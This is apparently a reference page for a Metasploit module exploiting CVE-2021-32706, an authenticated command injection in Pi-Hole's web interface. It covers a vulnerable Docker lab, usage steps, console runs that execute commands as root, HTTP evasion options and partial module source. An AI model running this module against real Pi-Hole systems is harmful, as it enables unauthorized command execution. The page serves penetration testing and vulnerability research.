Pi-Hole Top Domains API Authenticated Exec - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/pihole_domains_api_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Pi-Hole Top Domains API Authenticated Exec
Module: auxiliary/admin/http/pihole_domains_api_exec
Source code: modules/auxiliary/admin/http/pihole_domains_api_exec.rb
Disclosure date: 2021-08-04
Last modification time: 2022-01-12 09:34:15 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-32706

This exploits a command execution in Pi-Hole Web Interface <= 5.5. The Settings > API/Web inetrace page contains the field Top Domains/Top Advertisers which is validated by a regex which does not properly filter system commands, which can then be executed by calling the gravity functionality. However, the regex only allows a-z, 0-9, _.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • config-changes: Module modifies some configuration setting on the target machine.
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage

msf > use auxiliary/admin/http/pihole_domains_api_exec
msf auxiliary(pihole_domains_api_exec) > show targets
    ... a list of targets ...
msf auxiliary(pihole_domains_api_exec) > set TARGET target-id
msf auxiliary(pihole_domains_api_exec) > show options
    ... show and set options ...
msf auxiliary(pihole_domains_api_exec) > exploit

Required Options

  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

Vulnerable Application

This exploits a command execution in Pi-Hole Web Interface <= 5.5. The Settings > API/Web inetrace page contains the field Top Domains/Top Advertisers which is validated by a regex which does not properly filter system commands, which can then be executed by calling the gravity functionality. However, the regex only allows a-z, 0-9, _.

Docker Compose

Using the Docker compose file below, execute docker compose up -d to get a vulnerable environment running.

version: "3"

# More info at https://github.com/pi-hole/docker-pi-hole/ and https://docs.pi-hole.net/
services:
  pihole:
    container_name: pihole
    image: pihole/pihole:v5.5
    ports:
      #- "53:53/tcp"
      #- "53:53/udp"
      #- "67:67/udp"
      - "192.168.2.199:80:80/tcp"
    environment:
      TZ: 'America/Chicago'
      WEBPASSWORD: ''
    # Volumes store your data between container upgrades
    volumes:
      - './etc-pihole/:/etc/pihole/'
      - './etc-dnsmasq.d/:/etc/dnsmasq.d/'
    # Recommended but not required (DHCP needs NET_ADMIN)
    #   https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
    cap_add:
      - NET_ADMIN
    restart: unless-stopped

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use auxiliary/admin/http/pihole_domains_api_exec
  4. Do: set rhosts [ip]
  5. Do: run
  6. You should get the output from the command.

Options

COMMAND

The command to run. This is VERY restrictive. Valid characters are 0-9, a-z, _. Ref. Defaults to pwd.

Scenarios

Pi-hole v5.2.4 with Web Interface 5.3.1 via Docker

[*] Processing pihole.rb for ERB directives.
resource (pihole.rb)> use auxiliary/admin/http/pihole_domains_api_exec
resource (pihole.rb)> set rhosts 192.168.2.199
rhosts => 192.168.2.199
resource (pihole.rb)> set verbose true
verbose => true
resource (pihole.rb)> run
[*] Running module against 192.168.2.199
[+] Web Interface Version Detected: 5.3.1
[*] Using token: YbGnWVA3ogVs0eLaKjEDGPaX8Zy1l5X3dxfHHSdy6r8=
[*] Sending payload request
[*] Forcing gravity pull
[+] /var/www/html/admin/scripts/pi-hole/php
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/pihole_domains_api_exec) > set command whoami
command => whoami
msf6 auxiliary(admin/http/pihole_domains_api_exec) > run
[*] Running module against 192.168.2.199

[+] Web Interface Version Detected: 5.3.1
[*] Using token: 9dtOO2bIndYSyJ1KsGYBa7pV5B4MToTQB1h2dmRfHk8=
[*] Sending payload request
[*] Forcing gravity pull
[+] root
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage

Here is how the admin/http/pihole_domains_api_exec auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/pihole_domains_api_exec

msf6 auxiliary(admin/http/pihole_domains_api_exec) > show info

       Name: Pi-Hole Top Domains API Authenticated Exec
     Module: auxiliary/admin/http/pihole_domains_api_exec
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-08-04

Provided by:
  h00die
  SchneiderSec

Module side effects:
 ioc-in-logs
 config-changes
 artifacts-on-disk

Module stability:
 crash-safe

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMMAND    pwd              yes       The command to execute. Only 0-9, a-z, _ are allowed.
  PASSWORD                    no        Password for Pi-Hole interface
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The URI of the Pi-Hole Website
  VHOST                       no        HTTP server virtual host

Description:
  This exploits a command execution in Pi-Hole Web Interface <= 5.5. 
  The Settings > API/Web inetrace page contains the field Top 
  Domains/Top Advertisers which is validated by a regex which does not 
  properly filter system commands, which can then be executed by 
  calling the gravity functionality. However, the regex only allows 
  a-z, 0-9, _.

References:
  https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5cm9-6p3m-v259
  https://nvd.nist.gov/vuln/detail/CVE-2021-32706

Module Options

This is a complete list of options available in the admin/http/pihole_domains_api_exec auxiliary module:

msf6 auxiliary(admin/http/pihole_domains_api_exec) > show options

Module options (auxiliary/admin/http/pihole_domains_api_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMAND    pwd              yes       The command to execute. Only 0-9, a-z, _ are allowed.
   PASSWORD                    no        Password for Pi-Hole interface
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the Pi-Hole Website
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/pihole_domains_api_exec auxiliary module:

msf6 auxiliary(admin/http/pihole_domains_api_exec) > show advanced

Module advanced options (auxiliary/admin/http/pihole_domains_api_exec):

   Name                  Current Setting                             Required  Description
   ----                  ---------------                             --------  -----------
   DOMAIN                WORKSTATION                                 yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                        no        Conform to IIS, should work for most servers. Only set to false for non-IIS s
                                                                               ervers
   FingerprintCheck      true                                        no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                 no        HTTP connection and receive timeout
   HttpPassword                                                      no        The HTTP password to specify for authentication
   HttpRawHeaders                                                    no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                       no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                     no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                       no        Show HTTP headers only in HttpTrace
   HttpUsername                                                      no        The HTTP username to specify for authentication
   SSLVersion            Auto                                        yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negot
                                                                               iate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/5.0 (Macintosh; Intel Mac OS X 12_  no        The User-Agent header to use for all requests
                         0_1) AppleWebKit/605.1.15 (KHTML, like Gec
                         ko) Version/15.0 Safari/605.1.15
   VERBOSE               false                                       no        Enable detailed status messages
   WORKSPACE                                                         no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/pihole_domains_api_exec module can do:

msf6 auxiliary(admin/http/pihole_domains_api_exec) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/pihole_domains_api_exec auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/pihole_domains_api_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u
                                                            -all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Could not connect to web service - no response or non-200 HTTP code

Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response or non-200 HTTP code" error message:

56:	  def check
57:	    begin
58:	      _version, web_version, _ftl = get_versions
59:	
60:	      if web_version.nil?
61:	        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
62:	        return Exploit::CheckCode::Unknown
63:	      end
64:	
65:	      if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')
66:	        vprint_good("Web Interface Version Detected: #{web_version}")

Web Interface Version Detected: <WEB_VERSION>

Here is a relevant code snippet related to the "Web Interface Version Detected: <WEB_VERSION>" error message:

64:	
65:	      if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')
66:	        vprint_good("Web Interface Version Detected: #{web_version}")
67:	        return Exploit::CheckCode::Appears
68:	      else
69:	        vprint_bad("Web Interface Version Detected: #{web_version}")
70:	        return Exploit::CheckCode::Safe
71:	      end
72:	    rescue ::Rex::ConnectionError
73:	      print_error("#{peer} - Could not connect to the web service")
74:	      return Exploit::CheckCode::Unknown

<PEER> - Could not connect to the web service

Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:

68:	      else
69:	        vprint_bad("Web Interface Version Detected: #{web_version}")
70:	        return Exploit::CheckCode::Safe
71:	      end
72:	    rescue ::Rex::ConnectionError
73:	      print_error("#{peer} - Could not connect to the web service")
74:	      return Exploit::CheckCode::Unknown
75:	    end
76:	    Exploit::CheckCode::Safe
77:	  end
78:

COMMAND invalid. only _, a-z, 0-9 are allowed.

Here is a relevant code snippet related to the "COMMAND invalid. only _, a-z, 0-9 are allowed." error message:

77:	  end
78:	
79:	  def validate_command
80:	    # https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71
81:	    unless /^((\*.)?[_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([_a-z\d])*)*$/i =~ datastore['COMMAND']
82:	      fail_with(Failure::BadConfig, 'COMMAND invalid. only _, a-z, 0-9 are allowed.')
83:	    end
84:	  end
85:	
86:	  def run
87:	    validate_command

Target is not vulnerable

Here is a relevant code snippet related to the "Target is not vulnerable" error message:

84:	  end
85:	
86:	  def run
87:	    validate_command
88:	    if check != Exploit::CheckCode::Appears
89:	      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
90:	    end
91:	
92:	    # check if we need a login
93:	    res = send_request_cgi(
94:	      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),

Incorrect Password

Here is a relevant code snippet related to the "Incorrect Password" error message:

99:	    )
100:	
101:	    # check if we got hit by a login prompt
102:	    if res && res.body.include?('Sign in to start your session')
103:	      cookie = login
104:	      fail_with(Failure::BadConfig, 'Incorrect Password') if cookie.nil?
105:	    end
106:	
107:	    token = get_token('api')
108:	
109:	    if token.nil?

Unable to find token

Here is a relevant code snippet related to the "Unable to find token" error message:

105:	    end
106:	
107:	    token = get_token('api')
108:	
109:	    if token.nil?
110:	      fail_with(Failure::UnexpectedReply, 'Unable to find token')
111:	    end
112:	    print_status("Using token: #{token}")
113:	    print_status('Sending payload request')
114:	    res = send_request_cgi(
115:	      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),

The API settings have been updated

Here is a relevant code snippet related to the "The API settings have been updated" error message:

125:	        'token' => token
126:	      },
127:	      'keep_cookies' => 'true',
128:	      'method' => 'POST'
129:	    )
130:	    fail_with(Failure::UnexpectedReply, 'Unable to save settings') unless res && res.body.include?('The API settings have been updated')
131:	    res = update_gravity
132:	    fail_with(Failure::UnexpectedReply, 'Unable to update gravity') unless res && res.code == 200
133:	    # first line after our output should be: data:   [i] Neutrino emissions detected...
134:	    output = res.body.split('   [i] ')[0]
135:	    # remove beginning of line with data on it

Unable to update gravity

Here is a relevant code snippet related to the "Unable to update gravity" error message:

127:	      'keep_cookies' => 'true',
128:	      'method' => 'POST'
129:	    )
130:	    fail_with(Failure::UnexpectedReply, 'Unable to save settings') unless res && res.body.include?('The API settings have been updated')
131:	    res = update_gravity
132:	    fail_with(Failure::UnexpectedReply, 'Unable to update gravity') unless res && res.code == 200
133:	    # first line after our output should be: data:   [i] Neutrino emissions detected...
134:	    output = res.body.split('   [i] ')[0]
135:	    # remove beginning of line with data on it
136:	    output = output.gsub(/^data:/, '')
137:	    # removing last line since its empty

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • h00die
  • SchneiderSec

Version

This page has been produced using Metasploit Framework version 6.1.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.